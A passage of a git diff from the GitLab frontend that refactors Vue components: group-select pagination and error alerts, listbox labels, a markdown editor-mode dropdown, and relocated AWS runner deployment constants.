+export const RESET_LABEL = __('Reset');
export const FETCH_GROUPS_ERROR = __('Unable to fetch groups. Reload the page to try again.');
export const FETCH_GROUP_ERROR = __('Unable to fetch group. Reload the page to try again.');
export const QUERY_TOO_SHORT_MESSAGE = __('Enter at least three characters to search.');
diff --git a/app/assets/javascripts/vue_shared/components/group_select/group_select.vue b/app/assets/javascripts/vue_shared/components/group_select/group_select.vue
index 5db723e1e5a..d295052e2ce 100644
--- a/app/assets/javascripts/vue_shared/components/group_select/group_select.vue
+++ b/app/assets/javascripts/vue_shared/components/group_select/group_select.vue
@@ -1,26 +1,35 @@
<script>
import { debounce } from 'lodash';
-import { GlCollapsibleListbox } from '@gitlab/ui';
+import { GlFormGroup, GlAlert, GlCollapsibleListbox } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
import axios from '~/lib/utils/axios_utils';
+import { normalizeHeaders, parseIntPagination } from '~/lib/utils/common_utils';
import Api from '~/api';
import { __ } from '~/locale';
import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
-import { createAlert } from '~/flash';
import { groupsPath } from './utils';
import {
TOGGLE_TEXT,
+ RESET_LABEL,
FETCH_GROUPS_ERROR,
FETCH_GROUP_ERROR,
QUERY_TOO_SHORT_MESSAGE,
} from './constants';
const MINIMUM_QUERY_LENGTH = 3;
+const GROUPS_PER_PAGE = 20;
export default {
components: {
+ GlFormGroup,
+ GlAlert,
GlCollapsibleListbox,
},
props: {
+ label: {
+ type: String,
+ required: true,
+ },
inputName: {
type: String,
required: true,
@@ -54,10 +63,14 @@ export default {
return {
pristine: true,
searching: false,
+ hasMoreGroups: true,
+ infiniteScrollLoading: false,
searchString: '',
groups: [],
+ page: 1,
selectedValue: null,
selectedText: null,
+ errorMessage: '',
};
},
computed: {
@@ -74,6 +87,9 @@ export default {
toggleText() {
return this.selectedText ?? this.$options.i18n.toggleText;
},
+ resetButtonLabel() {
+ return this.clearable ? RESET_LABEL : '';
+ },
inputValue() {
return this.selectedValue ? this.selectedValue : '';
},
@@ -95,35 +111,48 @@ export default {
if (this.isSearchQueryTooShort) {
this.groups = [];
} else {
- this.fetchGroups(searchString);
+ this.fetchGroups();
}
}, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
- async fetchGroups(searchString = '') {
- this.searching = true;
+ async fetchGroups(page = 1) {
+ if (page === 1) {
+ this.searching = true;
+ this.groups = [];
+ this.hasMoreGroups = true;
+ } else {
+ this.infiniteScrollLoading = true;
+ }
try {
- const { data } = await axios.get(
+ const { data, headers } = await axios.get(
Api.buildUrl(groupsPath(this.groupsFilter, this.parentGroupID)),
{
params: {
- search: searchString,
+ search: this.searchString,
+ per_page: GROUPS_PER_PAGE,
+ page,
},
},
);
const groups = data.length ? data : data.results || [];
- this.groups = groups.map((group) => ({
- ...group,
- value: String(group.id),
- }));
+ this.groups.push(
+ ...groups.map((group) => ({
+ ...group,
+ value: String(group.id),
+ })),
+ );
+
+ const { totalPages } = parseIntPagination(normalizeHeaders(headers));
+ if (page === totalPages) {
+ this.hasMoreGroups = false;
+ }
+ this.page = page;
this.searching = false;
+ this.infiniteScrollLoading = false;
} catch (error) {
- createAlert({
- message: FETCH_GROUPS_ERROR,
- error,
- parent: this.$el,
- });
+ this.handleError({ message: FETCH_GROUPS_ERROR, error });
}
},
async fetchInitialSelection() {
@@ -139,11 +168,7 @@ export default {
this.pristine = false;
this.searching = false;
} catch (error) {
- createAlert({
- message: FETCH_GROUP_ERROR,
- error,
- parent: this.$el,
- });
+ this.handleError({ message: FETCH_GROUP_ERROR, error });
}
},
onShown() {
@@ -154,11 +179,20 @@ export default {
onReset() {
this.selected = null;
},
+ onBottomReached() {
+ this.fetchGroups(this.page + 1);
+ },
+ handleError({ message, error }) {
+ Sentry.captureException(error);
+ this.errorMessage = message;
+ },
+ dismissError() {
+ this.errorMessage = '';
+ },
},
i18n: {
toggleText: TOGGLE_TEXT,
selectGroup: __('Select a group'),
- reset: __('Reset'),
noResultsText: __('No results found.'),
searchQueryTooShort: QUERY_TOO_SHORT_MESSAGE,
},
@@ -166,21 +200,27 @@ export default {
</script>
<template>
- <div>
+ <gl-form-group :label="label">
+ <gl-alert v-if="errorMessage" class="gl-mb-3" variant="danger" @dismiss="dismissError">{{
+ errorMessage
+ }}</gl-alert>
<gl-collapsible-listbox
ref="listbox"
v-model="selected"
:header-text="$options.i18n.selectGroup"
- :reset-button-label="$options.i18n.reset"
+ :reset-button-label="resetButtonLabel"
:toggle-text="toggleText"
:loading="searching && pristine"
:searching="searching"
:items="groups"
:no-results-text="noResultsText"
+ :infinite-scroll="hasMoreGroups"
+ :infinite-scroll-loading="infiniteScrollLoading"
searchable
@shown="onShown"
@search="search"
@reset="onReset"
+ @bottom-reached="onBottomReached"
>
<template #list-item="{ item }">
<div class="gl-font-weight-bold">
@@ -189,7 +229,6 @@ export default {
<div class="gl-text-gray-300">{{ item.full_path }}</div>
</template>
</gl-collapsible-listbox>
- <div class="flash-container"></div>
<input :id="inputId" data-testid="input" type="hidden" :name="inputName" :value="inputValue" />
- </div>
+ </gl-form-group>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/group_select/init_group_selects.js b/app/assets/javascripts/vue_shared/components/group_select/init_group_selects.js
new file mode 100644
index 00000000000..dbfac8a0339
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/group_select/init_group_selects.js
@@ -0,0 +1,48 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import GroupSelect from './group_select.vue';
+
+const SELECTOR = '.js-vue-group-select';
+
+export const initGroupSelects = () => {
+ if (process.env.NODE_ENV !== 'production' && document.querySelector(SELECTOR) === null) {
+ // eslint-disable-next-line no-console
+ console.warn(`Attempted to initialize GroupSelect but '${SELECTOR}' not found in the page`);
+ }
+
+ [...document.querySelectorAll(SELECTOR)].forEach((el) => {
+ const {
+ parentId: parentGroupID,
+ groupsFilter,
+ label,
+ inputName,
+ inputId,
+ selected: initialSelection,
+ testid,
+ } = el.dataset;
+ const clearable = parseBoolean(el.dataset.clearable);
+
+ return new Vue({
+ el,
+ components: {
+ GroupSelect,
+ },
+ render(createElement) {
+ return createElement(GroupSelect, {
+ props: {
+ label,
+ inputName,
+ initialSelection,
+ parentGroupID,
+ groupsFilter,
+ inputId,
+ clearable,
+ },
+ attrs: {
+ 'data-testid': testid,
+ },
+ });
+ },
+ });
+ });
+};
diff --git a/app/assets/javascripts/vue_shared/components/header_ci_component.vue b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
index 3c4ae08d2f7..8e459cc21ac 100644
--- a/app/assets/javascripts/vue_shared/components/header_ci_component.vue
+++ b/app/assets/javascripts/vue_shared/components/header_ci_component.vue
@@ -75,6 +75,10 @@ export default {
// GraphQL returns `avatarUrl` and Rest `avatar_url`
return this.user?.avatarUrl || this.user?.avatar_url;
},
+ webUrl() {
+ // GraphQL returns `webUrl` and Rest `web_url`
+ return this.user?.webUrl || this.user?.web_url;
+ },
statusTooltipHTML() {
// Rest `status_tooltip_html` which is a ready to work
// html for the emoji and the status text inside a tooltip.
@@ -132,7 +136,7 @@ export default {
:data-user-id="userId"
:data-username="user.username"
:data-name="user.name"
- :href="user.webUrl"
+ :href="webUrl"
target="_blank"
class="js-user-link gl-vertical-align-middle gl-mx-2 gl-align-items-center"
>
diff --git a/app/assets/javascripts/vue_shared/components/listbox_input/init_listbox_inputs.js b/app/assets/javascripts/vue_shared/components/listbox_input/init_listbox_inputs.js
new file mode 100644
index 00000000000..ad89b78b521
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/listbox_input/init_listbox_inputs.js
@@ -0,0 +1,42 @@
+import Vue from 'vue';
+import ListboxInput from '~/vue_shared/components/listbox_input/listbox_input.vue';
+
+export const initListboxInputs = () => {
+ const els = [...document.querySelectorAll('.js-listbox-input')];
+
+ els.forEach((el, index) => {
+ const { label, description, name, defaultToggleText, value = null } = el.dataset;
+ const { id } = el;
+ const items = JSON.parse(el.dataset.items);
+
+ return new Vue({
+ el,
+ name: `ListboxInputRoot${index + 1}`,
+ data() {
+ return {
+ selected: value,
+ };
+ },
+ render(createElement) {
+ return createElement(ListboxInput, {
+ on: {
+ select: (newValue) => {
+ this.selected = newValue;
+ },
+ },
+ props: {
+ label,
+ description,
+ name,
+ defaultToggleText,
+ selected: this.selected,
+ items,
+ },
+ attrs: {
+ id,
+ },
+ });
+ },
+ });
+ });
+};
diff --git a/app/assets/javascripts/vue_shared/components/listbox_input/listbox_input.vue b/app/assets/javascripts/vue_shared/components/listbox_input/listbox_input.vue
index b1809e6a9f3..bc6b5d3176f 100644
--- a/app/assets/javascripts/vue_shared/components/listbox_input/listbox_input.vue
+++ b/app/assets/javascripts/vue_shared/components/listbox_input/listbox_input.vue
@@ -1,25 +1,37 @@
<script>
-import { GlListbox } from '@gitlab/ui';
+import { GlFormGroup, GlListbox } from '@gitlab/ui';
import { __ } from '~/locale';
-const MIN_ITEMS_COUNT_FOR_SEARCHING = 20;
+const MIN_ITEMS_COUNT_FOR_SEARCHING = 10;
export default {
i18n: {
noResultsText: __('No results found'),
},
components: {
+ GlFormGroup,
GlListbox,
},
model: GlListbox.model,
props: {
+ label: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ description: {
+ type: String,
+ required: false,
+ default: '',
+ },
name: {
type: String,
required: true,
},
defaultToggleText: {
type: String,
- required: true,
+ required: false,
+ default: '',
},
selected: {
type: String,
@@ -30,6 +42,11 @@ export default {
type: GlListbox.props.items.type,
required: true,
},
+ disabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -37,6 +54,9 @@ export default {
};
},
computed: {
+ wrapperComponent() {
+ return this.label || this.description ? 'gl-form-group' : 'div';
+ },
allOptions() {
const allOptions = [];
@@ -95,16 +115,17 @@ export default {
</script>
<template>
- <div>
+ <component :is="wrapperComponent" :label="label" :description="description" v-bind="$attrs">
<gl-listbox
:selected="selected"
:toggle-text="toggleText"
:items="filteredItems"
:searchable="isSearchable"
:no-results-text="$options.i18n.noResultsText"
+ :disabled="disabled"
@search="search"
@select="$emit($options.model.event, $event)"
/>
<input ref="input" type="hidden" :name="name" :value="selected" />
- </div>
+ </component>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/editor_mode_dropdown.vue b/app/assets/javascripts/vue_shared/components/markdown/editor_mode_dropdown.vue
new file mode 100644
index 00000000000..6702a81e747
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/markdown/editor_mode_dropdown.vue
@@ -0,0 +1,58 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ props: {
+ size: {
+ type: String,
+ required: false,
+ default: 'medium',
+ },
+ value: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ markdownEditorSelected() {
+ return this.value === 'markdown';
+ },
+ text() {
+ return this.markdownEditorSelected ? __('View rich text') : __('View markdown');
+ },
+ },
+};
+</script>
+<template>
+ <gl-dropdown
+ category="tertiary"
+ data-qa-selector="editing_mode_switcher"
+ :size="size"
+ :text="text"
+ right
+ >
+ <gl-dropdown-item
+ is-check-item
+ :is-checked="!markdownEditorSelected"
+ @click="$emit('input', 'richText')"
+ ><div class="gl-font-weight-bold">{{ __('Rich text') }}</div>
+ <div class="gl-text-secondary">
+ {{ __('View the formatted output in real-time as you edit.') }}
+ </div>
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ is-check-item
+ :is-checked="markdownEditorSelected"
+ @click="$emit('input', 'markdown')"
+ ><div class="gl-font-weight-bold">{{ __('Markdown') }}</div>
+ <div class="gl-text-secondary">
+ {{ __('View and edit markdown, with the option to preview the formatted output.') }}
+ </div></gl-dropdown-item
+ >
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/field.vue b/app/assets/javascripts/vue_shared/components/markdown/field.vue
index b5f2602af5e..7b76fc3fc6d 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/field.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/field.vue
@@ -122,6 +122,11 @@ export default {
required: false,
default: () => [],
},
+ showContentEditorSwitcher: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -364,6 +369,8 @@ export default {
:quick-actions-docs-path="quickActionsDocsPath"
:can-attach-file="canAttachFile"
:show-comment-tool-bar="showCommentToolBar"
+ :show-content-editor-switcher="showContentEditorSwitcher"
+ @enableContentEditor="$emit('enableContentEditor')"
/>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/header.vue b/app/assets/javascripts/vue_shared/components/markdown/header.vue
index 89fffdedbfd..e83441e59a2 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/header.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/header.vue
@@ -10,6 +10,7 @@ import {
INDENT_LINE,
OUTDENT_LINE,
} from '~/behaviors/shortcuts/keybindings';
+import { getModifierKey } from '~/constants';
import { getSelectedFragment } from '~/lib/utils/common_utils';
import { s__, __ } from '~/locale';
import { CopyAsGFM } from '~/behaviors/markdown/copy_as_gfm';
@@ -66,6 +67,7 @@ export default {
return {
tag: '> ',
suggestPopoverVisible: false,
+ modifierKey: getModifierKey(),
};
},
computed: {
@@ -90,15 +92,6 @@ export default {
const expandText = s__('MarkdownEditor|Click to expand');
return [`<details><summary>${expandText}</summary>`, `{text}`, '</details>'].join('\n');
},
- isMac() {
- // Accessing properties using ?. to allow tests to use
- // this component without setting up window.gl.client.
- // In production, window.gl.client should always be present.
- return Boolean(window.gl?.client?.isMac);
- },
- modifierKey() {
- return this.isMac ? '⌘' : s__('KeyboardKey|Ctrl+');
- },
},
watch: {
showSuggestPopover() {
diff --git a/app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue b/app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue
index d01eae0308f..c53118b9f62 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/markdown_editor.vue
@@ -1,16 +1,13 @@
<script>
-import { GlSegmentedControl } from '@gitlab/ui';
-import { __ } from '~/locale';
-import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import axios from '~/lib/utils/axios_utils';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
import { EDITING_MODE_MARKDOWN_FIELD, EDITING_MODE_CONTENT_EDITOR } from '../../constants';
import MarkdownField from './field.vue';
export default {
components: {
- MarkdownField,
LocalStorageSync,
- GlSegmentedControl,
+ MarkdownField,
ContentEditor: () =>
import(
/* webpackChunkName: 'content_editor' */ '~/content_editor/components/content_editor.vue'
@@ -91,7 +88,6 @@ export default {
data() {
return {
editingMode: EDITING_MODE_MARKDOWN_FIELD,
- switchEditingControlEnabled: true,
autofocused: false,
};
},
@@ -114,19 +110,16 @@ export default {
updateMarkdownFromMarkdownField({ target }) {
this.$emit('input', target.value);
},
- enableSwitchEditingControl() {
- this.switchEditingControlEnabled = true;
- },
- disableSwitchEditingControl() {
- this.switchEditingControlEnabled = false;
- },
renderMarkdown(markdown) {
return axios.post(this.renderMarkdownPath, { text: markdown }).then(({ data }) => data.body);
},
onEditingModeChange(editingMode) {
+ this.editingMode = editingMode;
this.notifyEditingModeChange(editingMode);
},
onEditingModeRestored(editingMode) {
+ this.editingMode = editingMode;
+ this.$emit(editingMode);
this.notifyEditingModeChange(editingMode);
},
notifyEditingModeChange(editingMode) {
@@ -142,25 +135,10 @@ export default {
this.autofocused = true;
},
},
- switchEditingControlOptions: [
- { text: __('Source'), value: EDITING_MODE_MARKDOWN_FIELD },
- { text: __('Rich text'), value: EDITING_MODE_CONTENT_EDITOR },
- ],
};
</script>
<template>
<div>
- <div class="gl-display-flex gl-justify-content-start gl-mb-3">
- <gl-segmented-control
- v-model="editingMode"
- data-testid="toggle-editing-mode-button"
- data-qa-selector="editing_mode_button"
- class="gl-display-flex"
- :options="$options.switchEditingControlOptions"
- :disabled="!enableContentEditor || !switchEditingControlEnabled"
- @change="onEditingModeChange"
- />
- </div>
<local-storage-sync
v-model="editingMode"
storage-key="gl-wiki-content-editor-enabled"
@@ -176,7 +154,9 @@ export default {
:quick-actions-docs-path="quickActionsDocsPath"
:uploads-path="uploadsPath"
:enable-preview="enablePreview"
+ show-content-editor-switcher
class="bordered-box"
+ @enableContentEditor="onEditingModeChange('contentEditor')"
>
<template #textarea>
<textarea
@@ -205,10 +185,8 @@ export default {
:use-bottom-toolbar="useBottomToolbar"
@initialized="setEditorAsAutofocused"
@change="updateMarkdownFromContentEditor"
- @loading="disableSwitchEditingControl"
- @loadingSuccess="enableSwitchEditingControl"
- @loadingError="enableSwitchEditingControl"
@keydown="$emit('keydown', $event)"
+ @enableMarkdownEditor="onEditingModeChange('markdownField')"
/>
<input
:id="formFieldId"
diff --git a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
index b5640e12541..e8be242f660 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
@@ -1,5 +1,6 @@
<script>
import { GlButton, GlLink, GlLoadingIcon, GlSprintf, GlIcon } from '@gitlab/ui';
+import EditorModeDropdown from './editor_mode_dropdown.vue';
export default {
components: {
@@ -8,6 +9,7 @@ export default {
GlLoadingIcon,
GlSprintf,
GlIcon,
+ EditorModeDropdown,
},
props: {
markdownDocsPath: {
@@ -29,12 +31,24 @@ export default {
required: false,
default: true,
},
+ showContentEditorSwitcher: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
hasQuickActionsDocsPath() {
return this.quickActionsDocsPath !== '';
},
},
+ methods: {
+ handleEditorModeChanged(mode) {
+ if (mode === 'richText') {
+ this.$emit('enableContentEditor');
+ }
+ },
+ },
};
</script>
@@ -121,5 +135,12 @@ export default {
{{ __('Cancel') }}
</gl-button>
</span>
+ <editor-mode-dropdown
+ v-if="showContentEditorSwitcher"
+ size="small"
+ class="gl-float-right gl-line-height-28 gl-display-block"
+ value="markdown"
+ @input="handleEditorModeChanged"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/navigation_tabs.vue b/app/assets/javascripts/vue_shared/components/navigation_tabs.vue
index 21212e82de4..c83643ca4de 100644
--- a/app/assets/javascripts/vue_shared/components/navigation_tabs.vue
+++ b/app/assets/javascripts/vue_shared/components/navigation_tabs.vue
@@ -1,6 +1,6 @@
<script>
import { GlBadge, GlTabs, GlTab } from '@gitlab/ui';
-import $ from 'jquery';
+import { initScrollingTabs } from '~/layout_nav';
/**
* Given an array of tabs, renders non linked bootstrap tabs.
@@ -41,7 +41,7 @@ export default {
},
},
mounted() {
- $(document).trigger('init.scrolling-tabs');
+ initScrollingTabs();
},
methods: {
shouldRenderBadge(count) {
diff --git a/app/assets/javascripts/vue_shared/components/pagination/table_pagination.vue b/app/assets/javascripts/vue_shared/components/pagination/table_pagination.vue
index 5f2a66ee0b7..e1f042f78ab 100644
--- a/app/assets/javascripts/vue_shared/components/pagination/table_pagination.vue
+++ b/app/assets/javascripts/vue_shared/components/pagination/table_pagination.vue
@@ -64,8 +64,9 @@ export default {
<template>
<gl-pagination
v-if="showPagination"
- class="justify-content-center gl-mt-3"
+ class="gl-mt-3"
v-bind="$attrs"
+ align="center"
:value="pageInfo.page"
:per-page="pageInfo.perPage"
:total-items="pageInfo.total"
diff --git a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js
deleted file mode 100644
index 88c975b97b9..00000000000
--- a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import { s__, sprintf } from '~/locale';
-
-export const README_URL =
- 'https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/easybuttons.md';
-
-export const CF_BASE_URL =
- 'https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?';
-
-export const TEMPLATES_BASE_URL = 'https://gl-public-templates.s3.amazonaws.com/cfn/experimental/';
-
-export const EASY_BUTTONS = [
- {
- stackName: 'linux-docker-nonspot',
- templateName:
- 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-ondemandonly.cf.yml',
- description: s__(
- 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot.',
- ),
- moreDetails1: s__('Runners|No spot. This is the default choice for Linux Docker executor.'),
- moreDetails2: s__(
- 'Runners|A capacity of 1 enables warm HA through Auto Scaling group re-spawn. A capacity of 2 enables hot HA because the service is available even when a node is lost. A capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
- ),
- },
- {
- stackName: 'linux-docker-spotonly',
- templateName: 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-spotonly.cf.yml',
- description: sprintf(
- s__(
- 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot.',
- ),
- { percentage: '100%' },
- ),
- moreDetails1: sprintf(s__('Runners|%{percentage} spot.'), { percentage: '100%' }),
- moreDetails2: s__(
- 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
- ),
- },
- {
- stackName: 'win2019-shell-non-spot',
- templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-ondemandonly.cf.yml',
- description: s__(
- 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot.',
- ),
- moreDetails1: s__('Runners|No spot. Default choice for Windows Shell executor.'),
- moreDetails2: s__(
- 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
- ),
- },
- {
- stackName: 'win2019-shell-spot',
- templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-spotonly.cf.yml',
- description: sprintf(
- s__(
- 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot.',
- ),
- { percentage: '100%' },
- ),
- moreDetails1: sprintf(s__('Runners|%{percentage} spot.'), { percentage: '100%' }),
- moreDetails2: s__(
- 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
- ),
- },
-];
diff --git a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue
index eee65d90285..08acde1aefc 100644
--- a/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue
@@ -1,125 +1,29 @@
<script>
-import {
- GlModal,
- GlSprintf,
- GlLink,
- GlFormRadioGroup,
- GlFormRadio,
- GlAccordion,
- GlAccordionItem,
-} from '@gitlab/ui';
-import Tracking from '~/tracking';
-import { getBaseURL, objectToQuery, visitUrl } from '~/lib/utils/url_utility';
-import { __, s__ } from '~/locale';
-import { README_URL, CF_BASE_URL, TEMPLATES_BASE_URL, EASY_BUTTONS } from './constants';
+import { GlModal } from '@gitlab/ui';
+import { s__ } from '~/locale';
+import RunnerAwsInstructions from '~/vue_shared/components/runner_instructions/instructions/runner_aws_instructions.vue';
export default {
components: {
GlModal,
- GlSprintf,
- GlLink,
- GlFormRadioGroup,
- GlFormRadio,
- GlAccordion,
- GlAccordionItem,
+ RunnerAwsInstructions,
},
- mixins: [Tracking.mixin()],
props: {
modalId: {
type: String,
required: true,
},
},
- data() {
- return {
- selected: this.$options.easyButtons[0],
- };
- },
methods: {
- borderBottom(idx) {
- return idx < this.$options.easyButtons.length - 1;
- },
- easyButtonUrl(easyButton) {
- const params = {
- templateURL: TEMPLATES_BASE_URL + easyButton.templateName,
- stackName: easyButton.stackName,
- param_3GITLABRunnerInstanceURL: getBaseURL(),
- };
- return CF_BASE_URL + objectToQuery(params);
- },
- trackCiRunnerTemplatesClick(stackName) {
- this.track('template_clicked', {
- label: stackName,
- });
- },
- handleModalPrimary() {
- this.trackCiRunnerTemplatesClick(this.selected.stackName);
- visitUrl(this.easyButtonUrl(this.selected), true);
+ onClose() {
+ this.$refs.modal.close();
},
},
- i18n: {
- title: s__('Runners|Deploy GitLab Runner in AWS'),
- instructions: s__(
- 'Runners|Select your preferred option here. In the next step, you can choose the capacity for your runner in the AWS CloudFormation console.',
- ),
- chooseRunner: s__('Runners|Choose your preferred GitLab Runner'),
- dontSeeWhatYouAreLookingFor: s__(
- "Runners|Don't see what you are looking for? See the full list of options, including a fully customizable option %{linkStart}here%{linkEnd}.",
- ),
- moreDetails: __('More Details'),
- lessDetails: __('Less Details'),
- },
- deployButton: {
- text: s__('Runners|Deploy GitLab Runner in AWS'),
- attributes: [{ variant: 'confirm' }],
- },
- closeButton: {
- text: __('Cancel'),
- attributes: [{ variant: 'default' }],
- },
- readmeUrl: README_URL,
- easyButtons: EASY_BUTTONS,
+ i18n_title: s__('Runners|Deploy GitLab Runner in AWS'),
};
</script>
<template>
- <gl-modal
- :modal-id="modalId"
- :title="$options.i18n.title"
- :action-primary="$options.deployButton"
- :action-secondary="$options.closeButton"
- size="sm"
- @primary="handleModalPrimary"
- >
- <p>{{ $options.i18n.instructions }}</p>
- <gl-form-radio-group v-model="selected" :label="$options.i18n.chooseRunner" label-sr-only>
- <gl-form-radio
- v-for="(easyButton, idx) in $options.easyButtons"
- :key="easyButton.templateName"
- :value="easyButton"
- class="gl-py-5 gl-pl-8"
- :class="{ 'gl-border-b': borderBottom(idx) }"
- >
- <div class="gl-mt-n1 gl-pl-4 gl-pb-2 gl-font-weight-bold">
- {{ easyButton.description }}
- <gl-accordion :header-level="3" class="gl-pt-3">
- <gl-accordion-item
- :title="$options.i18n.moreDetails"
- :title-visible="$options.i18n.lessDetails"
- class="gl-font-weight-normal"
- >
- <p class="gl-pt-2">{{ easyButton.moreDetails1 }}</p>
- <p class="gl-m-0">{{ easyButton.moreDetails2 }}</p>
- </gl-accordion-item>
- </gl-accordion>
- </div>
- </gl-form-radio>
- </gl-form-radio-group>
- <p>
- <gl-sprintf :message="$options.i18n.dontSeeWhatYouAreLookingFor">
- <template #link="{ content }">
- <gl-link :href="$options.readmeUrl" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
+ <gl-modal ref="modal" :modal-id="modalId" :title="$options.i18n_title" hide-footer size="sm">
+ <runner-aws-instructions @close="onClose" />
</gl-modal>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/constants.js b/app/assets/javascripts/vue_shared/components/runner_instructions/constants.js
index c97e191b630..3dbc5246c3d 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/constants.js
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/constants.js
@@ -1,18 +1,69 @@
-import { s__ } from '~/locale';
+import { s__, sprintf } from '~/locale';
export const REGISTRATION_TOKEN_PLACEHOLDER = '$REGISTRATION_TOKEN';
-export const INSTRUCTIONS_PLATFORMS_WITHOUT_ARCHITECTURES = {
- docker: {
- instructions: s__(
- 'Runners|To install Runner in a container follow the instructions described in the GitLab documentation',
+export const PLATFORM_DOCKER = 'docker';
+export const PLATFORM_KUBERNETES = 'kubernetes';
+
+export const AWS_README_URL =
+ 'https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/easybuttons.md';
+
+export const AWS_CF_BASE_URL =
+ 'https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#/stacks/create/review?';
+
+export const AWS_TEMPLATES_BASE_URL =
+ 'https://gl-public-templates.s3.amazonaws.com/cfn/experimental/';
+
+export const AWS_EASY_BUTTONS = [
+ {
+ stackName: 'linux-docker-nonspot',
+ templateName:
+ 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-ondemandonly.cf.yml',
+ description: s__(
+ 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot.',
+ ),
+ moreDetails1: s__('Runners|No spot. This is the default choice for Linux Docker executor.'),
+ moreDetails2: s__(
+ 'Runners|A capacity of 1 enables warm HA through Auto Scaling group re-spawn. A capacity of 2 enables hot HA because the service is available even when a node is lost. A capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
+ ),
+ },
+ {
+ stackName: 'linux-docker-spotonly',
+ templateName: 'easybutton-amazon-linux-2-docker-manual-scaling-with-schedule-spotonly.cf.yml',
+ description: sprintf(
+ s__(
+ 'Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot.',
+ ),
+ { percentage: '100%' },
+ ),
+ moreDetails1: sprintf(s__('Runners|%{percentage} spot.'), { percentage: '100%' }),
+ moreDetails2: s__(
+ 'Runners|Capacity of 1 enables warm HA through Auto Scaling group re-spawn. Capacity of 2 enables hot HA because the service is available even when a node is lost. Capacity of 3 or more enables hot HA and manual scaling of runner fleet.',
+ ),
+ },
+ {
+ stackName: 'win2019-shell-non-spot',
+ templateName: 'easybutton-windows2019-shell-manual-scaling-with-scheduling-ondemandonly.cf.yml',
+ description: s__(
+ 'Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot.',
+ ),
+ moreDetails1: s__('Runners|No spot. Default choice for Windows Shell executor.'),
+ moreDetails2: s__(
